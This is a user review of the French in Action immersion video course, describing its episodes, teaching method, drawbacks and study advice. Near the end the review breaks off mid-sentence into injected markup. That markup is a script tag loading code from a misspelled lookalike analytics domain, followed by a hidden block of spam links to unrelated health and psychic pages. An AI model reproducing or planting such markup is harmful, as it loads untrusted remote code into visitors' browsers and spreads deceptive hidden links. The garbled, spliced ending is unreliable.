French in Action is a 52 lesson video program designed to be used the first two years of university study. The program is completely in French, there are no English explinations or translations. Every episode of French in Action starts with a short 6-8 minute soap opera show of a continuing drama. The next 20 minutes are spent with a professor explaining what was just seen. For example, if during the 7 minute show the word "pressée" was used in a conversation, the professor might show a video of a student running toward a university. The next video might be someone in a hurry. The whole time, the professor is repeating the word pressée. Then, the professor will use other words in French to describe what is happening. "Je vais à la fac. Je suis pressée." At no time does he translate anything. Hopefully, after multiple viewings, the viewer will be able to understand what is happening and be able to communicate it in French. In later episodes, these explinations can become complex. What is learned in beginning episodes is later used to describe new words, so the student can not start at lesson 20 and believe they will learn 30 words, because the explinations to those 30 words will use French that was learned earlier.
French in Action does have some minor drawbacks. In the start, it can be very frustrating. It is too easy to be dissapointed when very little is understood. This program is designed to be viewed multiple times. I have been suprised to return to early episodes, after completing the program, to find new words I did not catch the first, second, and third time around.
Each episode of French in Action has a small number of words that are written at the bottom of the screen, words that are emphasized. These words should be learned and memorized the first time through the program. This is very important. The first time an episode is viewed, it is not expected that more than 5-10% will be understood. By memorizing the emphasized words, it makes it easier to gain more understanding on subsequent viewings. For example, if the word "travail" is shown, looking up the definition of this word is a must (if you can't figure it out from the explination the professor gives you in French). On a second viewing of the episode, the following sentances should not be too difficult to understand "Le père et la mère de Mireille travaillent. Le père de Mireille travaille chez Renault. Il est ingénieur. Il est ingénieur chez Renault, et sa mère elle est chef de service au Ministère de la Santé". Most episodes have a game, for example "vrai ou faux", where the professor might say "Le mère de Mireille travaille chez Renault". It is up to the viewer to decide if this statement is true or false. Every episode also has a short 2 minute dialogue that is repeated multiple times, with a long enough pause for the viewer to repeat what is heard.
There are some substantial benifits to French in Action. First, French words are associated with an action or item, not with an english word. When you think of "poissons", you are not thinking of an english word, you are thinking of what a fish looks like, perhaps on a dinner plate or in a market on top of ice.
A second major advantage of French in Action is the student learns to speak French as a person in France would. There are no mistakes pronouncing words, like out of a book, trying to decide how "aller" sounds. There is no confusion, do I pronounce the e as a "a" or "e" or "aye". Later, if one wishes, they can look up the words and learn the spelling. I believe it is much easier to learn spelling later, than to correct mispronouncing a word.
French in Action is a free program. Anyone with an internet connection can view the series for free. Most libraries in the USA have it for free. In addition to the 52 video segments, there is a textbook and two study guides.
Learing French is possible by watching this series 4-5 times. My advice is to watch each episode twice the first time thr'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>working out but never losing weight</a><a href='http://tests4all.org/2/'>what do they do personal trainer</a><a href='http://tests4all.org/3/'>ct quit smoking program</a><a href='http://tests4all.org/4/'>accutane cordarone in the eyes</a><a href='http://tests4all.org/5/'>borderline personality disorder wife cheated</a><a href='http://tests4all.org/6/'>mtdna australia pleistocene occupation</a><a href='http://tests4all.org/7/'>community partner thank you notes</a><a href='http://tests4all.org/8/'>iq test controversy</a><a href='http://tests4all.org/9/'>honing your psychic ability</a><a href='http://tests4all.org/10/'>past life regression dennis linn</a><a href='http://tests4all.org/11/'>date menes death</a><a href='http://tests4all.org/12/'>lung cancer blueberries</a></div>
Submitted by Magnum on 5/7/2005 |
